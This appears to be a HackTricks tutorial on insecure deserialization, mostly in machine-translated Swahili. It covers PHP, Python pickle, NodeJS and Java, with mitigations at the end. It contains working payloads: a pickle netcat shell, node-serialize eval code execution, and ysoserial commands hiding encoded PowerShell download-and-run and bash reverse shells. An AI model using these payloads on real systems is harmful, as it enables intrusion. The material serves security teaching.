Deserialization

Reading time: 43 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Serialization inaeleweka kama njia ya kubadilisha object kuwa katika muundo unaoweza kuhifadhiwa, kwa nia ya kuhifadhi object au kuisafirisha kama sehemu ya mchakato wa mawasiliano. Mbinu hii kawaida hutumika kuhakikisha kwamba object inaweza kuundwazrudi baadaye, ikihifadhi muundo wake na hali.

Deserialization, kwa upande mwingine, ni mchakato unaokinzana na serialization. Inahusisha kuchukua data iliyopangwa kwa muundo maalum na kuirekebisha tena ili iwe object.

Deserialization inaweza kuwa hatari kwa sababu inaweza kumruhusu mshambuliaji kurekebisha serialized data ili kutekeleza code yenye madhara au kusababisha tabia zisizotarajiwa katika application wakati wa mchakato wa kurekebisha object.

PHP

Katika PHP, specific magic methods zinatumiwa wakati wa serialization na deserialization:

  • __sleep: Inaitwa wakati object inaposafirishwa (serialized). Mbinu hii inapaswa kurudisha array ya majina ya properties zote za object ambazo zinapaswa kusafirishwa. Inatumiwa mara nyingi ili kuandika data iliyokuwa ikisubiri au kufanya kazi za usafi zinazofanana.
  • __wakeup: Inaitwa wakati object inaposafirishwa tena (deserialized). Inatumika kurekebisha muunganisho wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha upya.
  • __unserialize: Mbinu hii inaitwa badala ya __wakeup (ikiwa ipo) wakati object inaposafirishwa tena. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na __wakeup.
  • __destruct: Mbinu hii inaitwa wakati object iko karibu kuharibiwa au wakati script inamalizika. Kwa kawaida inatumika kwa kazi za usafi, kama kufunga file handles au muunganisho wa database.
  • __toString: Mbinu hii inaruhusu object kutendewa kama string. Inaweza kutumika kusoma faili au kazi nyingine kulingana na function calls ndani yake, kwa ufanisi ikitoa uwakilishi wa kifungu (textual representation) wa object.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ikiwa utaangalia matokeo utaona kwamba functions __wakeup na __destruct zinaitwa wakati object inapotoka katika hali ya serialized (deserialized). Kumbuka kwamba katika mafunzo kadhaa utagundua kwamba function __toString inaitwa wakati wa kujaribu kuchapisha sifa fulani, lakini inaonekana kwamba hiyo haitokei tena.

warning

The method __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Unaweza kusoma mfano wa PHP ulioelezwa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Unaweza kutumia vibaya functionality ya PHP autoload ili kupakia faili za php yoyote na zaidi:

PHP - Deserialization + Autoload Classes

Serializing Referenced Values

Ikiwa kwa sababu fulani ungependa serialize thamani kama a reference to another value serialized unaweza:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Kuzuia PHP Object Injection kwa kutumia allowed_classes

info

Msaada kwa hoja ya pili ya unserialize() (the $options array) uliongezwa katika PHP 7.0. Katika matoleo ya zamani kazi hiyo inapokea tu serialized string, na hivyo haiwezekani kuzuia ni classes gani zinaweza kuanzishwa.

unserialize() itaanzisha kila darasa itakayopatikana ndani ya msururu ulioserialishwa isipokuwa kama imeelezwa vinginevyo. Tangu PHP 7 tabia inaweza kupunguzwa kwa chaguo la allowed_classes:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Ikiwa allowed_classes imesahaulika au code inaendeshwa kwenye PHP < 7.0, wito unakuwa hatari kwa sababu mshambuliaji anaweza kutengeneza payload inayotumia vibaya magic methods kama __wakeup() au __destruct() ili kufikia Remote Code Execution (RCE).

Real-world example: Everest Forms (WordPress) CVE-2025-52709

The WordPress plugin Everest Forms ≤ 3.2.2 ilijaribu kuwa ya kujikinga kwa helper wrapper lakini ilisahau matoleo ya zamani ya PHP:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Kwenye seva ambazo bado zilikuwa zikiendesha PHP ≤ 7.0, tawi hili la pili lilisababisha PHP Object Injection ya kawaida wakati msimamizi alipofungua uwasilishaji wa fomu hasidi. Exploit payload ndogo kabisa inaweza kuonekana kama:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Mara tu admin alipotazama ingizo, object ilianzishwa na SomeClass::__destruct() ikatekelezwa, ikasababisha utekelezaji wa msimbo wa kiholela.

Hitimisho

  1. Daima tuma ['allowed_classes' => false] (au orodha nyeupe kali) wakati unaita unserialize().
  2. Kagua defensive wrappers – mara nyingi husahau matawi ya kale ya PHP.
  3. Kuboresha kwa PHP ≥ 7.x pekee haitoshi: chaguo bado inahitaji kutolewa wazi.

PHPGGC (ysoserial for PHP)

PHPGGC inaweza kukusaidia kuunda payloads za kutumia PHP deserializations.
Kumbuka kwamba katika kesi kadhaa hutaweza kupata njia ya kuabusa deserialization katika source code ya application lakini unaweza kuwa na uwezo wa kuabusa code ya extensions za nje za PHP.
Kwa hivyo, ikiwa unaweza, angalia phpinfo() ya server na tafuta mtandaoni (hata kwenye gadgets za PHPGGC) baadhi ya gadget unazoweza kutumia.

phar:// metadata deserialization

Ikiwa umepata LFI inayosoma tu faili na haitekelezi code ya php ndani yake, kwa mfano kwa kutumia functions kama file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Unaweza kujaribu kutumia deserialization inayotokea wakati wa kusoma file kwa kutumia protocol ya phar.
Kwa taarifa zaidi soma chapisho lifuatalo:

phar:// deserialization

Python

Pickle

Wakati object inapofanywa unpickle, function ___reduce___ itatekelezwa.
Iwapo itatumiwa, server inaweza kurudisha kosa.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Kabla ya kuangalia mbinu ya bypass, jaribu kutumia print(base64.b64encode(pickle.dumps(P(),2))) ili kuunda object inayolingana na python2 ikiwa unatumia python3.

Kwa taarifa zaidi kuhusu kutoroka kutoka pickle jails angalia:

Bypass Python sandboxes

Yaml & jsonpickle

Ukurasa ufuatao unaonyesha mbinu ya abuse an unsafe deserialization in yamls katika maktaba za Python na unamaliza na zana inayoweza kutumika kuunda payload za RCE za deserialization kwa Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn't have "magic" functions kama PHP au Python ambazo zitatekelezwa tu kwa kuunda object. Lakini ina baadhi ya functions ambazo mara nyingi hutumika hata bila kuziita moja kwa moja kama toString, valueOf, toJSON.
Ikiwa ukitumia deserialization unaweza kuharibu functions hizi ili kutekeleza msimbo mwingine (kwa uwezekano ukitumia prototype pollutions) unaweza kutekeleza msimbo yoyote wakati zitakapoitwa.

Njia nyingine ya "magic" way to call a function bila kuiita moja kwa moja ni kwa kuharibu object inayorejeshwa na async function (promise). Kwa sababu, ikiwa utabadilisha object hiyo ya kurudisha katika promise nyingine yenye property iitwayo "then" of type function, itatekelezwa tu kwa sababu inarudishwa na promise nyingine. Fuata this link kwa maelezo zaidi.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Ikiwa unataka kujifunza kuhusu mbinu hii angalia mafunzo yafuatayo:

NodeJS - proto & prototype Pollution

node-serialize

Maktaba hii inaruhusu kuserialisha functions. Mfano:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Kitu kilichoseriwa kitaonekana kama:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Unaweza kuona katika mfano kwamba wakati function inaposerializewa bendera _$$ND_FUNC$$_ inaambatanishwa na object iliyoserialized.

Ndani ya faili node-serialize/lib/serialize.js unaweza kupata bendera ile ile na jinsi code inavyotumia.

Kama unavyoona katika kipande cha mwisho cha code, ikiwa bendera imepatikana eval inatumiwa ku-deserialize function, kwa hivyo kwa msingi data ya mtumiaji inatumika ndani ya eval function.

Hata hivyo, kutoa tu (just serialising) function haitaitekkeleza kwani ingehitajika sehemu ya code iite y.rce katika mfano wetu na hilo ni sana haiwezekani.
Hata hivyo, unaweza kubadilisha object iliyoserialized kwa kuongeza mabano (parenthesis) ili function iliyoserialized iitwe moja kwa moja wakati object itakapodeserialized.
Katika kipande cha code kinachofuata zingatia parenthesis ya mwisho na jinsi function ya unserialize itakavyotekeleza code moja kwa moja:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Kama ilivyotajwa awali, maktaba hii itachukua kanuni zilizo baada ya _$$ND_FUNC$$_ na itaitekeleza kwa kutumia eval. Kwa hivyo, ili kuendesha kanuni moja kwa moja unaweza futa sehemu ya uundaji wa function na parenthesis ya mwisho na tekeleza tu JS oneliner kama katika mfano ufuatao:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

You can find here taarifa zaidi kuhusu jinsi ya kuchukua faida ya udhaifu huu.

funcster

Sehemu muhimu ya funcster ni ukosefu wa ufikikaji wa standard built-in objects; ziko nje ya wigo unaoweza kufikiwa. Kizuizi hiki kinazuia utekelezaji wa code inayojaribu kuitisha mbinu za built-in objects, na husababisha makosa kama "ReferenceError: console is not defined" pale amri kama console.log() au require(something) zinapotumika.

Licha ya kizuizi hiki, kurejeshwa kwa ufikikaji kamili kwa muktadha wa global, ikijumuisha standard built-in objects, inawezekana kwa njia maalumu. Kwa kutumia muktadha wa global moja kwa moja, mtu anaweza kupita kizuizi hiki. Kwa mfano, ufikaji unaweza kurejeshwa kwa kutumia snippet ifuatayo:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Kwa more information read this source.

serialize-javascript

Kifurushi serialize-javascript kimeundwa mahsusi kwa madhumuni ya serialization, hakina uwezo wowote wa deserialization uliojengwa ndani. Watumiaji wanawajibika kutekeleza mbinu zao za deserialization. Mfano rasmi unapendekeza matumizi ya moja kwa moja ya eval kwa deserializing serialized data:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Ikiwa function hii inatumiwa ku-deserialize objects, unaweza easily exploit it:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Kwa more information read this source.

Cryo library

In the following pages you can find information about how to abuse this library to execute arbitrary commands:

Java - HTTP

Katika Java, deserialization callbacks zinaaktishwa wakati wa mchakato wa deserialization. Utekelezwaji huu unaweza kutumiwa na washambuliaji wanaounda payloads zenye madhara zinazochochea callbacks hizi, na kusababisha utekelezaji wa vitendo hatarishi.

Fingerprints

White Box

Ili kubaini uwezekano wa serialization vulnerabilities katika msimbo, tafuta:

  • Klasi zinazotekeleza kiolesura Serializable.
  • Matumizi ya java.io.ObjectInputStream, readObject, readUnshare functions.

Lipa umakini maalum kwa:

  • XMLDecoder ikitumiwa na vigezo vinavyowekwa na watumiaji wa nje.
  • XStream's fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
  • ObjectInputStream coupled with the readObject method.
  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.
  • ObjectInputStream.readUnshared.
  • General use of Serializable.

Black Box

Kwa black box testing, tafuta specific signatures or "Magic Bytes" zinazofafanua java serialized objects (zitokanazo na ObjectInputStream):

  • Muundo wa hexadecimal: AC ED 00 05.
  • Mfumo wa Base64: rO0.
  • Vichwa vya majibu ya HTTP na Content-type ikiwa imewekwa kwa application/x-java-serialized-object.
  • Muundo wa hexadecimal unaonyesha compression ya awali: 1F 8B 08 00.
  • Mfumo wa Base64 unaonyesha compression ya awali: H4sIA.
  • Faili za wavuti zenye extension .faces na parameter faces.ViewState. Kugundua mifumo hizi katika application ya wavuti kunapaswa kusababisha ukaguzi kama ulivyoelezwa katika post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Angalia kama kuna udhaifu

Ikiwa unataka learn about how does a Java Deserialized exploit work unapaswa kuangalia Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Mara nyingi miradi ya kisasa huvifunga deserialization ndani ya java.security.SignedObject na kuthibitisha saini kabla ya kuita getObject() (ambayo huendesha deserialization ya object ya ndani). Hii inazuia arbitrary top-level gadget classes lakini bado inaweza kutumika kama mshambuliaji anapata saini halali (mfano, private-key compromise au signing oracle). Zaidi ya hayo, mtiririko wa utunzaji wa makosa unaweza kutengeneza session-bound tokens kwa watumiaji wasiothibitishwa, na hivyo kufichua sinks zilizolindwa pre-auth.

Kwa somo la kesi maalum lenye requests, IoCs, na hardening guidance, angalia:

Java Signedobject Gated Deserialization

White Box Test

Unaweza kuangalia ikiwa kuna programu yoyote iliyosakinishwa yenye udhaifu unaojulikana.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Unaweza kujaribu kukagua maktaba zote zinazojulikana kuwa na udhaifu na ambazo Ysoserial can provide an exploit for. Au unaweza kukagua maktaba zilizoonyeshwa kwenye Java-Deserialization-Cheat-Sheet.
Unaweza pia kutumia gadgetinspector kutafuta gadget chains zinazoweza kutumiwa.
Unaporusha gadgetinspector (baada ya kuiweka) usilie juu ya onyo/makosa mengi inayopewa na umwachie iishe. Itataja matokeo yote chini ya gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Tafadhali kaa chonjo kwamba gadgetinspector won't create an exploit and it may indicate false positives.

Mtihani wa Black Box

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe inalenga ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner inalenga ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin itagundua sio tu ObjectInputStream related vulnerabilities bali pia vulns kutoka kwa Json na Yml deserialization libraries. Katika active mode, itajaribu kuyathibitisha kwa kutumia sleep au DNS payloads.
You can find more information about Freddy here.

Serialization Test

Sio kila kitu kinahusu kukagua kama server inatumia maktaba zilizo na udhaifu. Wakati mwingine unaweza kuwa na uwezo wa kubadilisha data ndani ya serialized object na kupita baadhi ya ukaguzi (labda kukupa admin privileges ndani ya webapp).
Ikiwa utapata java serialized object ikitumwa kwa web application, unaweza kutumia SerializationDumper kuchapisha kwa muundo unaosomeka zaidi kitu kilichoserialised kinachotumwa. Kujua data unayotuma kutafanya iwe rahisi kuibadilisha na kupita baadhi ya ukaguzi.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
Ningependekeza kuanza kutumia "URLDNS" payload kabla ya RCE payload ili kujaribu kama injection inawezekana. Hata hivyo, kumbuka kuwa labda payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inaweza kufanya kazi.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wakati wa kuunda payload kwa java.lang.Runtime.exec() huwezi kutumia vichar maalum kama ">" au "|" kuelekeza matokeo ya utekelezaji, "$()" kutekeleza amri au hata kupitisha vigezo kwa amri zinazotengwa kwa nafasi (unaweza kufanya echo -n "hello world" lakini huwezi kufanya python2 -c 'print "Hello world"'). Ili kuandaa payload kwa usahihi unaweza use this webpage.

Feel free to use the next script to create all the possible code execution payloads for Windows and Linux and then test them on the vulnerable web page:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial ili kuunda zaidi exploits. Taarifa zaidi kuhusu zana hii ziko kwenye slides za hotuba ambapo zana iliwasilishwa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec inaweza kutumika kuzalisha payloads ili exploit maktaba mbalimbali za Json na Yml za serialization katika Java.
Ili kucompile project nilihitaji kuongeza dependencies hizi kwenye pom.xml:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Sakinisha maven, na kompaila mradi:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Maabara

Kwa Nini

Java inatumia serialization kwa madhumuni mbalimbali kama:

  • HTTP requests: Serialization inatumiwa sana katika usimamizi wa vigezo, ViewState, cookies, n.k.
  • RMI (Remote Method Invocation): Protokoli ya Java RMI, inayotegemea kabisa serialization, ni nguzo ya mawasiliano ya mbali katika matumizi ya Java.
  • RMI over HTTP: Njia hii kawaida hutumiwa na thick client web applications zenye msingi wa Java, zikitumia serialization kwa mawasiliano yote ya vitu.
  • JMX (Java Management Extensions): JMX inatumia serialization kwa kusafirisha vitu kupitia mtandao.
  • Custom Protocols: Katika Java, desturi ya kawaida ni usafirishaji wa vitu ghafi za Java, jambo ambalo litaonyeshwa katika mifano ya exploit zinazofuata.

Uzuiaji

Transient objects

Darasa linalotekeleza Serializable linaweza kuweka kama transient chochote ndani ya darasa ambacho hakipaswi kuwa serializable. Kwa mfano:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Epuka serialization ya darasa linalohitaji kutekeleza Serializable

Katika mazingira ambapo vitu vinapaswa kutekeleza kiolesura cha Serializable kutokana na hierarchy ya madarasa, kuna hatari ya deserialization isiyokusudiwa. Ili kuzuia hili, hakikisha vitu hivi haviwezi ku-deserialize kwa kuainisha method ya final readObject() ambayo kila wakati inatupa exception, kama inavyoonekana hapa chini:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Kuboresha Usalama wa Deserialization katika Java

Kubinafsisha java.io.ObjectInputStream ni njia ya vitendo ya kuimarisha usalama wa mchakato wa deserialization. Njia hii inafaa wakati:

  • Msimbo wa deserialization uko chini ya udhibiti wako.
  • classes zinazotarajiwa kwa deserialization zinajulikana.

Fanya override ya method ya resolveClass() ili kupunguza deserialization kwa classes zilizoruhusiwa tu. Hii inazuia deserialization ya class yoyote isipokuwa zile zilizoruhusiwa wazi, kama katika mfano ufuatao unaozuia deserialization kwa class ya Bicycle tu:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Kutumia Java Agent kwa Kuimarisha Usalama inatoa suluhisho mbadala wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa blacklisting harmful classes, kwa kutumia parameter ya JVM:

-javaagent:name-of-agent.jar

Inatoa njia ya kulinda deserialization kwa njia ya dinamiki, inayofaa kwa mazingira ambapo mabadiliko ya msimbo mara moja hayafai.

Angalia mfano katika rO0 by Contrast Security

Kutekeleza Serialization Filters: Java 9 ilianzisha serialization filters kupitia interface ObjectInputFilter, ikitoa mekanismo thabiti wa kubainisha vigezo vinavyotakiwa kutimizwa na serialized objects kabla ya ku-deserialize. Vichujio hivi vinaweza kutumika kimataifa au kwa kila stream, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.

Ili kutumia serialization filters, unaweza kuweka chujio cha global kinachotumika kwa shughuli zote za deserialization au kukikonfigurisha kwa dinamik kwa streams maalum. Kwa mfano:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Kutumia Maktaba za Nje kwa Usalama ulioboreshwa: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
